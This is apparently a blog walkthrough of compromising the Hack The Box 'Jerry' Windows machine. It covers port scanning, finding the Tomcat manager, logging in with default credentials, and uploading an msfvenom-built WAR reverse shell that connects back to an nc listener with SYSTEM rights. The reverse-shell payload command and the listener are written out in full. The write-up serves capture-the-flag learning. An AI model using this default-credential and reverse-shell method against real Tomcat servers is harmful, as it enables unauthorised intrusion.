Jerry Machine | HTB Challenge #5 Walkthrough

in this walkthorugh I will be showing you how I compromised Jerry Windows machine:

Reconnaissance:

As always, first command is:

nmap -p- — min-rate 10000 10.129.136.9

-p-: scanning all ports
-min-rate 1000: forces the scanner to send at least 10,000 packets per second to speed up reconnaissance

This command revealed only 1 port, shifting my entire focus to:

8080: an alternative network port used for unencrypted HTTP web traffic and local development servers

To get a better understanding of what version it is running, I used command:

nmap -p 8080 -sCV 10.129.136.9

As you can see, we have Apache Tomcat/Coyote JSP engine 1.1:

Enumeration:

since it is an 8080 port, I wanted to check the website and see what is there for us:

There is nothing useful here besides the application version (Apache Tomcat/7.0.88)

Here I decided to dig more using gobuster and see its subdirectories:

It returned 2 subdirectores, docs & manager, however we will check our manager because it is unusual.

After visiting /manager, the site requested Username and Password credentials which we do not have at the moment, so I searched for the default credentials for this specific version and found this GitHub repo with some credentials:

I successfully logged in with admin:admin credentials and found the following page saying that we not authorized to access the manager platform, and it gives us new credentials to log in with:

Now trying the new credentials and we are in as manager! Inside the manager application we can upload a WAR file

Exploitation:

My first idea was to upload a reverse shell into the system and try to get our initial foothold. Let us use Msfvenom tool with the following command:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOUR_IP_ADD LPORT=4444 -f war -o reverse.war

Set up your listener:

nc -nvlp 4444

Now get back to the website, upload the WAR file and click deploy:

Finally, click on /reverse and it will redirect you into a white, empty page.

Going back to our NC listener:

We have successfully exploited the target and we are already nt authority\system, which means there is no need to escalate privileges!

To find both flags:

type "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"

Thanks for reading!